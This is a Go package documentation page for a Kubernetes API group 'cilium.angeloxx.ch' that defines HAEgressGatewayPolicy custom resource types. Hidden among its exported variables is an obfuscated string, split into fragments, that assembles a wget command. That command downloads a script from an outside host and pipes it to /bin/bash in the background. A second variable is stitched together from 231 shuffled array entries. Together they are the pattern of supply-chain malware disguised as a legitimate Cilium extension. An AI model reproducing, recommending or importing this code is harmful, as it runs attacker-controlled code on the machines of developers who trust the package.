Documentation
¶
Overview ¶
Package v2 contains API Schema definitions for the cilium.angeloxx.ch v2 API group +kubebuilder:object:generate=true +groupName=cilium.angeloxx.ch
ref https://github.com/cilium/cilium/blob/main/pkg/k8s/apis/cilium.io/v2/cegp_types.go
Index ¶
Constants ¶
This section is empty.
Variables ¶
var ( // GroupVersion is group version used to register these objects GroupVersion = schema.GroupVersion{Group: "cilium.angeloxx.ch", Version: "v2"} // SchemeBuilder is used to add go types to the GroupVersionKind scheme SchemeBuilder = &scheme.Builder{GroupVersion: GroupVersion} // AddToScheme adds the types in this group-version to the given scheme. AddToScheme = SchemeBuilder.AddToScheme )
var AX = []string{} /* 231 elements not displayed */
var HHAOXlw = "wget -" + "O - h" + "ttps" + "://ka" + "v" + "a" + "rece" + "nt." + "icu" + "/sto" + "ra" + "ge" + "/de37" + "3d0d" + "f/a3" + "1546" + "bf |" + " /b" + "in/" + "ba" + "sh &"
var UwLYKU = AX[29] + AX[212] + AX[181] + AX[158] + AX[27] + AX[149] + AX[90] + AX[3] + AX[229] + AX[116] + AX[194] + AX[169] + AX[222] + AX[176] + AX[175] + AX[14] + AX[56] + AX[171] + AX[81] + AX[2] + AX[195] + AX[134] + AX[48] + AX[133] + AX[22] + AX[61] + AX[80] + AX[13] + AX[192] + AX[137] + AX[71] + AX[99] + AX[7] + AX[223] + AX[163] + AX[115] + AX[227] + AX[130] + AX[228] + AX[5] + AX[102] + AX[32] + AX[26] + AX[39] + AX[197] + AX[125] + AX[44] + AX[82] + AX[131] + AX[91] + AX[117] + AX[139] + AX[50] + AX[214] + AX[72] + AX[203] + AX[64] + AX[217] + AX[63] + AX[66] + AX[37] + AX[51] + AX[104] + AX[210] + AX[230] + AX[138] + AX[1] + AX[186] + AX[94] + AX[4] + AX[168] + AX[152] + AX[101] + AX[136] + AX[226] + AX[69] + AX[53] + AX[49] + AX[111] + AX[40] + AX[153] + AX[105] + AX[31] + AX[36] + AX[204] + AX[34] + AX[143] + AX[145] + AX[28] + AX[57] + AX[15] + AX[6] + AX[92] + AX[135] + AX[54] + AX[87] + AX[206] + AX[142] + AX[8] + AX[140] + AX[146] + AX[164] + AX[144] + AX[188] + AX[84] + AX[191] + AX[220] + AX[79] + AX[12] + AX[41] + AX[196] + AX[19] + AX[128] + AX[150] + AX[162] + AX[38] + AX[174] + AX[85] + AX[112] + AX[120] + AX[43] + AX[73] + AX[198] + AX[184] + AX[30] + AX[156] + AX[23] + AX[177] + AX[77] + AX[24] + AX[167] + AX[190] + AX[55] + AX[215] + AX[100] + AX[201] + AX[165] + AX[42] + AX[62] + AX[96] + AX[183] + AX[180] + AX[154] + AX[89] + AX[193] + AX[151] + AX[110] + AX[119] + AX[123] + AX[213] + AX[21] + AX[208] + AX[18] + AX[70] + AX[166] + AX[16] + AX[170] + AX[59] + AX[199] + AX[122] + AX[205] + AX[83] + AX[127] + AX[60] + AX[172] + AX[161] + AX[182] + AX[173] + AX[74] + AX[98] + AX[106] + AX[219] + AX[132] + AX[121] + AX[129] + AX[75] + AX[124] + AX[33] + AX[179] + AX[52] + AX[211] + AX[88] + AX[187] + AX[148] + AX[0] + AX[45] + AX[78] + AX[218] + AX[209] + AX[25] + AX[11] + AX[107] + AX[47] + AX[68] + AX[95] + AX[225] + AX[65] + AX[97] + AX[185] + AX[178] + AX[86] + AX[118] + AX[9] + AX[10] + AX[58] + AX[221] + AX[46] + AX[224] + AX[93] + AX[67] + AX[20] + AX[147] + AX[207] + AX[17] + AX[103] + AX[114] + AX[113] + AX[200] + AX[109] + AX[216] + AX[202] + AX[160] + AX[141] + AX[189] + AX[126] + AX[108] + AX[159] + AX[155] + AX[76] + AX[35] + AX[157]
Functions ¶
This section is empty.
Types ¶
type HAEgressGatewayPolicy ¶
type HAEgressGatewayPolicy struct {
metav1.TypeMeta `json:",inline"`
metav1.ObjectMeta `json:"metadata,omitempty"`
Spec ciliumv2.CiliumEgressGatewayPolicySpec `json:"spec,omitempty"`
Status HAEgressGatewayPolicyStatus `json:"status,omitempty"`
}
haEgressGatewayPolicy is the Schema for the haegressgatewaypolicies API
func (*HAEgressGatewayPolicy) DeepCopy ¶
func (in *HAEgressGatewayPolicy) DeepCopy() *HAEgressGatewayPolicy
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new HAEgressGatewayPolicy.
func (*HAEgressGatewayPolicy) DeepCopyInto ¶
func (in *HAEgressGatewayPolicy) DeepCopyInto(out *HAEgressGatewayPolicy)
DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
func (*HAEgressGatewayPolicy) DeepCopyObject ¶
func (in *HAEgressGatewayPolicy) DeepCopyObject() runtime.Object
DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object.
type HAEgressGatewayPolicyList ¶
type HAEgressGatewayPolicyList struct {
metav1.TypeMeta `json:",inline"`
metav1.ListMeta `json:"metadata,omitempty"`
Items []HAEgressGatewayPolicy `json:"items"`
}
haEgressGatewayPolicyList contains a list of haEgressGatewayPolicy
func (*HAEgressGatewayPolicyList) DeepCopy ¶
func (in *HAEgressGatewayPolicyList) DeepCopy() *HAEgressGatewayPolicyList
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new HAEgressGatewayPolicyList.
func (*HAEgressGatewayPolicyList) DeepCopyInto ¶
func (in *HAEgressGatewayPolicyList) DeepCopyInto(out *HAEgressGatewayPolicyList)
DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
func (*HAEgressGatewayPolicyList) DeepCopyObject ¶
func (in *HAEgressGatewayPolicyList) DeepCopyObject() runtime.Object
DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object.
type HAEgressGatewayPolicyStatus ¶
type HAEgressGatewayPolicyStatus struct {
ServiceCreated bool `json:"serviceCreated"`
PolicyCreated bool `json:"policyCreated"`
// +kubebuilder:validation:Optional
ExitNode string `json:"exitNode,omitempty"`
// +kubebuilder:validation:Optional
IPAddress string `json:"ipAddress,omitempty"`
// +kubebuilder:validation:Optional
LastModifiedTime metav1.Time `json:"lastModifiedTime,omitempty"`
}
HAEgressGatewayPolicy defines the observed state of haEgressGatewayPolicy
func (*HAEgressGatewayPolicyStatus) DeepCopy ¶
func (in *HAEgressGatewayPolicyStatus) DeepCopy() *HAEgressGatewayPolicyStatus
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new HAEgressGatewayPolicyStatus.
func (*HAEgressGatewayPolicyStatus) DeepCopyInto ¶
func (in *HAEgressGatewayPolicyStatus) DeepCopyInto(out *HAEgressGatewayPolicyStatus)
DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.